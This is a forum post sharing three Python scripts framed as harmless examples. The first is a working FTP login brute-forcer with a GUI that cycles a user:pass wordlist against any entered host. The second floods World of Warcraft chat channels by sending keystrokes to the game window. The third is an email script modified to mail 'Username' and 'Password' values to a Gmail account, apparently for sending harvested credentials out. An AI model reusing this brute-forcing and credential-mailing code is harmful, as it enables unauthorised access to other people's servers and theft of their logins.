Python code menu

User Tag List

Thread: Python code

Results 1 to 1 of 1
  1. #1
    Stimorol's Avatar Member
    Reputation
    6
    Join Date
    Jul 2008
    Posts
    19
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)

    Python code

    I'am just giving out some examples how to do different things with python. Nothing special.
    Code:
    #FTP BRUTER GUI example
    import ftplib as ftp
    import getpass
    import urllib
    import thread
    from Tkinter import *
    import string
    import os
    
    
    username = ""
    password = ""
    class App:
        def __init__(self, master):
            
            frame = Frame(master)
            frame.pack()
    
            #image = PhotoImage(file="Skull.gif") 
           
    
            root.title("pyFTP Bruter")
            
            #self.label = Label(frame, image=image)
            #self.label.image = image
            #self.label.pack()
    
            self.entry = Entry(frame)
            self.entry.pack()
            self.entry.delete(0, END)
            self.entry.insert(0, "Host")
    
            self.start = Button(frame, text="Start", command=self.start_brute)
            self.start.pack(fill=X)
                    
            self.button = Button(frame, text="Stopp", command=frame.quit)
            self.button.pack(fill=X)
    
    
    
        def start_brute(self):
            i=1
            c = open("wordlist.txt", "r") #Opens the wordlist
            host = self.entry.get() #Gets the host from thhe entrybox
            while True:
                inn = c.readline()
                passuser = inn.split(":") #Splits the password and username,  user:pass
                try:
                    username = passuser[0]
                    password = passuser[1]
                except IndexError as err: #At end of wordlist, indexerror is raised
                    print("Reached end of wordlist, killing thread.") 
                    break
                try:
                    a = ftp.FTP(host, username, password)
                    flag = "Y"
                    
                except:
                    flag = "N"
                    print("Login failed. Login NR:",i," ",username,":",password,"@",host) #If loging faild
                    i = i + 1
                    continue
                if flag == "Y":
                    print("Access granted. ", username,":",password,"@",host) #Loging granted, breaks out from loop
                    c.close()
                    break
    
    root = Tk()
    app = App(root)
    root.mainloop()
    Hooks on to a window and sends keystrokes. Tkinter grid example. only works on windows.
    Code:
    #!/usr/bin/python
    #pySpam
    
    from Tkinter import *
    import Tkconstants
    import tkFileDialog
    import webbrowser
    import urllib
    import string
    import win32api
    import win32com.client
    
    
    class App:
        
    
        def Spam():
            getChannel = var.get()
            getTBMsg = var2.get()
            TargetWin = entry1.get()
    
            if getChannel == "1":
                channel = "/1"
            elif getChannel == "2":
                channel = "/2"
            elif getChannel == "3":
                channel = "/3"
            elif getChannel == "4":
                channel = "/4"
            elif getChannel == "5":
                channel = "/5"
            elif getChannel == "6":
                channel = "/6"
            elif getChannel == "7":
                channel = "/7"
            elif getChannel == "8":
                channel = "/8"
            elif getChannel == "9":
                channel = "/9"
            elif getChannel == "10":
                channel = "/10"
            elif getChannel == "Yell":
                channel = "/y"
            elif getChannel == "Party":
                channel = "/p"
            elif getChannel == "Raid":
                channel = "/raid"
            elif getChannel == "Say":
                channel = "/s"
            elif getChannel == "Emote":
                channel = "/e"
    
            if getTBMsg == "0.1Sec":
                TBmsg = 100
            elif getTBMsg == "0.2Sec":
                TBmsg = 200
            elif getTBMsg == "0.3Sec":
                TBmsg = 300        
            elif getTBMsg == "0.4Sec":
                TBmsg = 400
            elif getTBMsg == "0.5Sec":
                TBmsg = 500
            elif getTBMsg == "1.0Sec":
                TBmsg = 1000
            elif getTBMsg == "1.5Sec":
                TBmsg = 1500
            elif getTBMsg == "2.0Sec":
                TBmsg = 2000
            elif getTBMsg == "2.5Sec":
                TBmsg = 2500
            elif getTBMsg == "3.0Sec":
                TBmsg = 3000
            elif getTBMsg == "4.0Sec":
                TBmsg = 4000
            elif getTBMsg == "5.0Sec":
                TBmsg = 5000
                
            msg1 = entry2.get()
            msg2 = entry2.get()
            msg3 = entry3.get()
            msg4 = entry4.get()
            msg5 = entry5.get()
    
            shell = win32com.client.Dispatch("WScript.Shell")
            win32api.Sleep(100)
            shell.AppActivate(TargetWin)
            win32api.Sleep(5000)
            shell.SendKeys("~"+channel+msg1)
            win32api.Sleep(TBmsg)
            shell.SendKeys("~"+channel+msg2)
            win32api.Sleep(TBmsg)
            shell.SendKeys("~"+channel+msg3)
            win32api.Sleep(TBmsg)        
            shell.SendKeys("~"+channel+msg4)
            win32api.Sleep(TBmsg)        
            shell.SendKeys("~"+channel+msg5)
            win32api.Sleep(TBmsg)
    
            return
    
        def Update():
            currentVersion = "0.02"        
            try:
                openURL = urllib.urlopen("http://ctrl.hostoi.com/apps/pySpam/version/version.html")
            except IOError as err:
                tkMessageBox.showerror(
                "Open file",
                "Cannot open this file")
                return
            inn = openURL.readline()
            version = string.join(inn, "")
            print(version)
            if version == currentVersion:
                tkMessageBox.showerror(
                "Update",
                "You are up to date!")
            else:
                webbrowser.open("http://ctrl.hostoi.com/apps/pySpam/")
                return
            return
    
        def About():
            webbrowser.open("http://ctrl.hostoi.com/apps/pySpam/")
            return
    
    
    
    
    
        master = Tk()
        master.title("pySpam V 0.0.1")
        var = StringVar(master)
        var.set("1")
    
        var2 = StringVar(master)
        var2.set("0.1Sec")
    
        Label1 = Label(master, text="Channel:").grid(row=0, sticky=W, columnspan=3)
    
        option = OptionMenu(master, var, "1", "2", "3", "4", "5", "6", "7", "8", "9", "10",
                            "Say", "Yell", "Party", "Raid", "Emote")
        option.grid(row=0, column=4, sticky=W)
    
        Label2 = Label(master, text="Time between messages:")
        Label2.grid(row=1, sticky=W, columnspan=3)
    
    
        option2 = OptionMenu(master, var2, "0.1Sec", "0.2Sec", "0.3Sec", "0.4Sec", "0.5Sec",
                             "1.0Sec", "1.5Sec", "2.0Sec", "2.5Sec", "3.0Sec", "4.0Sec", "5.0Sec")
        option2.grid(row=1, column=4, sticky=W)
    
        about = Button(master, text="About", command= About)
        about.grid(row=2, sticky=W)
    
        Start = Button(master, text="Spam!", command= Spam)
        Start.grid(row=2, column=1, sticky=W)
    
        destroy = Button(master, text="Quit", command=master.quit)
        destroy.grid(row=2, column=2, sticky=W)
    
        update = Button(master, text="Update", command=Update)
        update.grid(row=2, column=3, sticky=W)
    
        entry1 = Entry(master)
        entry1.grid(row=3, column=2, columnspan=3, sticky=W)
        entry1.insert(0, "World of Warcraft")
    
        label3 = Label(master, text="Target Window:")
        label3.grid(row=3, sticky=W, columnspan=2)
    
        label4 = Label(master, text="Message1:")
        label4.grid(row=4, columnspan=2, sticky=W, padx=5, pady=5)
    
        entry2 = Entry(master)
        entry2.grid(row=4, column= 1, columnspan=3, padx=5, pady=5)
    
        label5 = Label(master, text="Message2:")
        label5.grid(row=5, columnspan=2, sticky=W, padx=5, pady=5)
    
        entry3 = Entry(master)
        entry3.grid(row=5, column= 1, columnspan=3, padx=5, pady=5)
    
        label6 = Label(master, text="Message3:")
        label6.grid(row=6, columnspan=2, sticky=W, padx=5, pady=5)
    
        entry4 = Entry(master)
        entry4.grid(row=6, column= 1, columnspan=3, padx=5, pady=5)
    
        label7 = Label(master, text="Message4:")
        label7.grid(row=7, columnspan=2, sticky=W, padx=5, pady=5)
    
        entry5 = Entry(master)
        entry5.grid(row=7, column= 1, columnspan=3, padx=5, pady=5)
    
        label8 = Label(master, text="Message5:")
        label8.grid(row=8, columnspan=2, sticky=W, padx=5, pady=5)
    
        entry6 = Entry(master)
        entry6.grid(row=8, column= 1, columnspan=3, padx=5, pady=5)
        
    
        master.mainloop()
    Sending a mail with Python with attachment.
    Code:
    #!/usr/bin/python
    #by dmpop 
    import smtplib
    from email.MIMEMultipart import MIMEMultipart
    from email.MIMEBase import MIMEBase
    from email.MIMEText import MIMEText
    from email import Encoders
    import os
    import string
    gmail_user = "mail"
    gmail_pwd = "passw"
    
    
    
    def mail(to, subject, text, attach):
       msg = MIMEMultipart()
       to = gmail_user
       L = ["Username: ", username, "Password: ", password]
       s = string.join(L, "")
       text = s
       msg['From'] = gmail_user
       msg['To'] = to
       msg['Subject'] = subject
    
       msg.attach(MIMEText(text))
    
       part = MIMEBase('application', 'octet-stream')
       part.set_payload(open(attach, 'rb').read())
       Encoders.encode_base64(part)
       part.add_header('Content-Disposition',
               'attachment; filename="%s"' % os.path.basename(attach))
       msg.attach(part)
    
       mailServer = smtplib.SMTP("smtp.gmail.com", 587)
       mailServer.ehlo()
       mailServer.starttls()
       mailServer.ehlo()
       mailServer.login(gmail_user, gmail_pwd)
       mailServer.sendmail(gmail_user, to, msg.as_string())
       # Should be mailServer.quit(), but that crashes...
       mailServer.close()
    
    mail("[email protected]",
       "Hello from python!",
       "This is a email sent with python",
       "my_picture.jpg")

    Python code

Similar Threads

  1. [CODE] Calling the Python disassembler from C
    By GliderPro in forum Programming
    Replies: 1
    Last Post: 05-14-2009, 06:58 PM
  2. [CODE] Dumping Python Modules (from an injected DLL)
    By GliderPro in forum Programming
    Replies: 0
    Last Post: 04-08-2009, 02:20 PM
  3. LOTS of WPE codes
    By Örpheus in forum World of Warcraft Bots and Programs
    Replies: 16
    Last Post: 08-04-2006, 01:19 PM
  4. [Bot:Source] Acidic Bot Source Code
    By =sinister= in forum World of Warcraft Bots and Programs
    Replies: 10
    Last Post: 07-03-2006, 05:38 PM
  5. Error in checking WoW.exe CRC code hack?
    By Trichelieu in forum World of Warcraft General
    Replies: 0
    Last Post: 06-11-2006, 02:24 PM
All times are GMT -5. The time now is 06:59 PM. Powered by vBulletin® Version 4.2.3
Copyright © 2025 vBulletin Solutions, Inc. All rights reserved. User Alert System provided by Advanced User Tagging (Pro) - vBulletin Mods & Addons Copyright © 2025 DragonByte Technologies Ltd.
Google Authenticator verification provided by Two-Factor Authentication (Free) - vBulletin Mods & Addons Copyright © 2025 DragonByte Technologies Ltd.
Digital Point modules: Sphinx-based search